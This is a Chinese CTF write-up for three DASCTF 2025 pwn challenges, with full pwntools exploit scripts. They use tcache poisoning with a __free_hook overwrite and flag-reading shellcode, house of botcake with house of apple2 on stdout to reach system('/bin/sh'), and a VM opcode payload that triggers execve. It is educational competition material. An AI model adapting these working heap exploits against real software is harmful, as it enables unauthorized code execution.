2025dasctf-wp

yfor

题目链接

1
https://github.com/yfor-yfor/-/tree/main/2025dasctf

pwn1

没给libc,但是测一下泄露和double free就能知道是2.27的libc

之后就是简单的两次posion,泄露pie,libc等等,最后打hook为backdoor,注入shellcode即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import*
context(arch = 'amd64')
#io=process('./pwn')
io=remote("node5.buuoj.cn",25406)
libc=ELF('./libc-2.27.so')
def dbg():
gdb.attach(io)
pause()
def cmd(choice):
io.recvuntil(b'5.exit\n')
io.sendline(str(choice).encode())
def add(index,size,data):
cmd(1)
io.recvuntil(b'which one do u want to connect:\n')
io.sendline(str(index).encode())
io.recvuntil(b'how much time do u want:\n')
io.sendline(str(size).encode())
io.recvuntil(b'plz input cmd:\n')
io.send(data)
def delete(index):
cmd(2)
io.recvuntil(b'which connection do u want to delet:\n')
io.sendline(str(index).encode())
def edit(index,data):
cmd(3)
io.recvuntil(b'which connection do u want to change:\n')
io.sendline(str(index).encode())
io.recvuntil(b'plz input ur cmd:\n')
io.send(data)
def show(index):
cmd(4)
io.recvuntil(b'which connection do u want to show:\n')
io.sendline(str(index).encode())
add(0,0x90,b'aaa')
add(1,0x90,b'aaa')
delete(0)
delete(1)
show(1)
heap_addr=u64(io.recv(6).ljust(8,b'\x00'))
info(hex(heap_addr))
edit(1,p64(heap_addr-0x1040))

add(2,0x90,b'aaa')
add(3,0x90,b'a')

show(3)
backdoor=u64(io.recv(6).ljust(8,b'\x00'))-0x61+0xd8
info(hex(backdoor))

add(4,0x430,b'aaa')
add(5,0x80,b'aaa')
add(6,0x80,b'aaa')
delete(4)
show(4)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x3ebca0
info(hex(libc_base))

delete(5)
delete(6)
edit(6,p64(libc_base+libc.sym['__free_hook']))
add(7,0x80,b'aaa')
add(8,0x80,p64(backdoor))
#dbg()
delete(7)

shellcode=asm('''
xor rax, rax
mov al, 2
mov rdi, 0x67616c66
push rdi
mov rdi, rsp
xor rsi, rsi
mov sil, 0x0
xor rdx, rdx
syscall
mov r10, rax
xor rax, rax
mov al, 0
mov rdi, r10
sub rsp, 0x100
mov rsi, rsp
mov rdx, 0x100
syscall
xor rax, rax
mov al, 1
mov rdi, 1
mov rsi, rsp
mov rdx, 0x50
syscall
''')
io.sendline(shellcode)
io.interactive()



pwn2

2.35的libc

先是有一个login,r00t和一个base64加密,输入特定内容即可

题目给了4个常规交互和一个backdoor

backdoor里面有uaf并且能泄露pie

毕竟限制了chunck的size大小,所以打house of botcake即可

值得注意的是,如果通过exit触发io的话会加沙箱,所以直接打stdout的house of apple2即可在menu中触发io,执行system(‘/bin/sh’)获得shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import*
context(arch = 'amd64')
#io=process('./pwn')
io=remote("node5.buuoj.cn",29128)
libc=ELF('./libc.so.6')
def dbg():
gdb.attach(io)
pause()
def login():
io.recvuntil(b'username:')
io.sendline('r00t')
io.recvuntil(b'password:')
io.sendline('p9s3w0r6')
def cmd(choice):
io.recvuntil(b'Your choice:')
io.sendline(str(choice).encode())
def add(size,name=b'CCTTFFEERR!!'):
cmd(1)
io.recvuntil(b'Introduction length:')
io.sendline(str(size).encode())
io.recvuntil(b'your name:')
io.send(name)
def edit(index,data):
cmd(2)
io.recvuntil(b'Which CV do you want to modify:')
io.sendline(str(index).encode())
io.recvuntil(b'Please briefly introduce yourself:')
io.send(data)
def delete(index):
cmd(3)
io.recvuntil(b'Which CV do you want to remove:')
io.sendline(str(index).encode())
def show(index):
cmd(4)
io.recvuntil(b'Which CV do you want to view:\n')
io.sendline(str(index).encode())
def backdoor(index):
cmd(666)
io.recvuntil(b'index:')
io.sendline(str(index).encode())
login()

for i in range(9):
add(0x100) #0~8
backdoor(1)
io.recvline()
pie=u64(io.recv(8))-0x51f0
info("pie: "+hex(pie))
show(1)
io.recvuntil(b'\nintroduction:')
key=u64(io.recv(5).ljust(8,b'\x00'))
info("key: "+hex(key))
add(0x100)#9&1
for i in range(7):
delete(2+i)
delete(1)#unsorted
show(9)
io.recvuntil(b'\nintroduction:')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
info("libc_base: "+hex(libc_base))
stdout=libc_base+libc.sym['_IO_2_1_stdout_']
wfile_jumps=libc_base+0x2170c0
delete(0)
add(0x100)#0
delete(9)#unsorted & tcache
info(hex(stdout^key))
payload=b'a'*(0x108)+p64(0x111)+p64(stdout^key)

add(0x120)#1
edit(1,payload)
add(0x100)

add(0x100)
io_file = flat(
b' sh;',
p32(0),
p64(0)*4,
p64(libc_base + libc.sym['system']), #_IO_write_ptr
p64(0)*11,
p64(libc_base + 0x21ca70), #_IO_stdfile_1_lock
p64(0)*2,
p64(stdout - 0x40), #_wide_data
p64(0)*6,
p64(wfile_jumps) #vtable
)
edit(3,io_file)
io.interactive()

pwn3

vmpwn

程序流程

main函数中会打开vmcode文件,然后分别读取一些内容到s里和buf里,后续进入vm部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int fd; // [rsp+Ch] [rbp-14h]
__int32 *buf; // [rsp+10h] [rbp-10h]
S *s; // [rsp+18h] [rbp-8h]

sub_25BD();
s = (S *)malloc(0x30uLL);
memset(s, 0, sizeof(S));
buf = (__int32 *)mmap(0LL, 0x30000uLL, 7, 34, -1, 0LL);
s->buf = buf;
fd = open("./vmcode", 0);
read(fd, &s->ip, 4uLL);
while ( (unsigned int)read(fd, buf, 0x400uLL) )
buf += 256;
s->esp = 0x30000;
vm(s);
}

vm函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void __fastcall __noreturn vm(S *s)
{
int n2; // eax
sa *sa; // [rsp+18h] [rbp-8h]

sa = (sa *)malloc(0xCuLL);
memset(sa, 0, 8uLL);
do
{
if ( (unsigned int)init((buf *)s, sa) == -1 )
break;
n2 = sa->case_choice & 3;
if ( n2 == 3 )
{
case3(s, sa);
}
else if ( (sa->case_choice & 3u) <= 3 )
{
if ( n2 == 2 )
{
case2(s, sa);
}
else if ( (sa->case_choice & 3) != 0 )
{
case1(s, sa);
}
else
{
case0(s, sa);
}
}
memset(sa, 0, 0xCuLL);
if ( s->esp > 0x30000u )
break;
}
while ( s->ip <= 0x30000 );
puts("Segment error");
_exit(0);
}

会根据s中的内容,转化为对应指令并且执行

区别于我们之前遇到的pwn题,指令由我们自己输入,这个pwn题的指令是由一开始的vmcode文件读入的,而他的功能也很简单

1
2
3
4
write(1,"What's your name?",17)
read(0,buf,0x50)
write(1,"hello ",6)
write(1,"buf",length)

当输入的长度超过0x18时,其实就会覆盖一些opcode,导致程序出现异常,要么在init段无法正常分析出choice,要么导致ip或esp大小不满足条件,最终输出segment error并且退出

结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
struct S
{
__int32 *buf;//main中mmap的那一块地址的起始地址
uint32_t ip;//根据ip来寻找vmcode或者我们输入的opcode
__int32 rdi;//一堆reg,不过有用的就前三个
__int32 rsi;
__int32 rdx;
__int32 reg0;
__int32 reg1;
__int32 reg2;
__int32 esp;//esp,用于push,pop
__int8 flag;//部分比较的返回值,用处不大
};
1
2
3
4
5
6
7
8
struct sa
{
uint8_t case_choice;//这两个用于表示选择哪个case,以及什么样的初始化
__int8 choice;
__int16 padding;//对齐用
uint32_t offset;//syscall时的rax,其余时候用于选择第几个寄存器,比如offset=0就是rdi,1就是rsi
__int32 num1;//这里是以为可能会有num2,但是实际上没有,但也懒得改回去了
};

攻击过程

在输入0x18个字符之后的四个字节会用来控制ip,控制他指向我们后续的opcode

后续只用到了case3和case0

其中case3的case3是给寄存器赋值一个32位的任意值

而case0是关键

1
2
3
4
5
6
7
8
9
10
11
12
case 0x33:
case 0x34: // here
case 0x35:
case 0x36:
case 0x37:
case 0x38:
case 0x39:
case 0x3A:
sys(sa->offset);
n2_1 = (__int64)&s->rdi;
s->rdi = (_DWORD)s + 12;
break;

由于我们的结构体中没有rax,同时注意到sys的一参是offset

观察汇编可以发现,程序在进入sys前,用rdi存储rax,rsi存储rdi等等,再进入sys后,又复制回来执行syscall

虽然这么多case都对应了syscall,但是每个都是不同的

因为我们的结构体中,各个寄存器都是32位的,无论我们后续要打execve还是orw,必然要有一个寄存器的值是一个地址指针,而在这个开启了pie的题目中,32位的值不足以作为一个地址

但是题目之前既然可以自如的使用read,write,就说明这些syscall中有些特殊,观察case 0x34对应的汇编可以发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
.text:000000000000171E                 mov     rax, [rbp+var_8] ; jumptable 000000000000152B case 52
.text:0000000000001722 mov eax, [rax+20h]
.text:0000000000001725 mov eax, eax
.text:0000000000001727 mov r8, rax
.text:000000000000172A mov rax, [rbp+var_8]
.text:000000000000172E mov eax, [rax+1Ch]
.text:0000000000001731 mov eax, eax
.text:0000000000001733 mov r9, rax
.text:0000000000001736 mov rax, [rbp+var_8]
.text:000000000000173A mov eax, [rax+18h]
.text:000000000000173D mov eax, eax
.text:000000000000173F mov r10, rax
.text:0000000000001742 mov rax, [rbp+var_8]
.text:0000000000001746 mov eax, [rax+14h]
.text:0000000000001749 mov eax, eax
.text:000000000000174B mov rcx, rax
.text:000000000000174E mov rax, [rbp+var_8]
.text:0000000000001752 mov eax, [rax+10h]
.text:0000000000001755 mov eax, eax
.text:0000000000001757 mov rsi, rax
.text:000000000000175A mov rax, [rbp+var_8]
.text:000000000000175E mov rdx, [rax]
.text:0000000000001761 mov rax, [rbp+var_8]
.text:0000000000001765 mov eax, [rax+0Ch]
.text:0000000000001768 mov eax, eax
.text:000000000000176A add rax, rdx //此处的rdx实际上是buf,rax表示的是rdi寄存器的值
.text:000000000000176D mov rdx, [rbp+var_10]
.text:0000000000001771 mov edx, [rdx+4]
.text:0000000000001774 mov edx, edx
.text:0000000000001776 mov rdi, rdx
.text:0000000000001779 push r8
.text:000000000000177B mov r8, r10
.text:000000000000177E mov rdx, rsi
.text:0000000000001781 mov rsi, rax//最终这个值会给到rsi
.text:0000000000001784 call sys

也就是说,在进入sys前,这一段操作,令rsi变成了一个64位数,并且值是buf+offset

而rsi在进入sys后会把值给rdi,这也就说明,只要rdi的值是/bin/sh在buf上的偏移,在进入sys后,rdi的值就会是buf+偏移(即/bin/sh的指针)

除此之外,在进入case0前,init中还有一步会循环处理我们的offset,为了使他最终是我们需要的0x3b,选择依顺序传入0,0,0x3b,最终offset就能是0x3b了

1
2
3
4
5
6
7
8
for ( i = 0; i <= 2; ++i )
{
sa->offset <<= 8;
buf_start_5 = buf->buf_start;
v6 = buf->ip;
buf->ip = v6 + 1;
sa->offset |= *(unsigned __int8 *)(buf_start_5 + v6);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
context(arch = 'amd64')
io=process('./pwn')
#io=remote("node5.buuoj.cn",29468)
def dbg():
gdb.attach(io)
pause()
payload=b'/bin/sh\x00'
payload=payload.ljust(0x18,b'\x00')
payload+=p32(0x2ffe0)#控制ip
payload+=p8((0x3<<2)|3)+p8(0)+p32(0x2ffe0-28)#令rdi=offset
payload+=p8((0x3<<2)|3)+p8(1)+p32(0)#令rsi=0
payload+=p8((0x3<<2)|3)+p8(2)+p32(0)#令rdx=0
payload+=p8((0x34)<<2|0)+p8(0)+p8(0)+p8(0x3b)#令rax=0x3b的同时,进入case0的case34触发syscall
#dbg()
io.send(payload)
io.interactive()
  • Title: 2025dasctf-wp
  • Author: yfor
  • Created at : 2025-12-07 12:36:39
  • Updated at : 2025-12-07 12:36:33
  • Link: https://yfor-yfor.github.io/2025/12/07/2025dasctf-wp/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments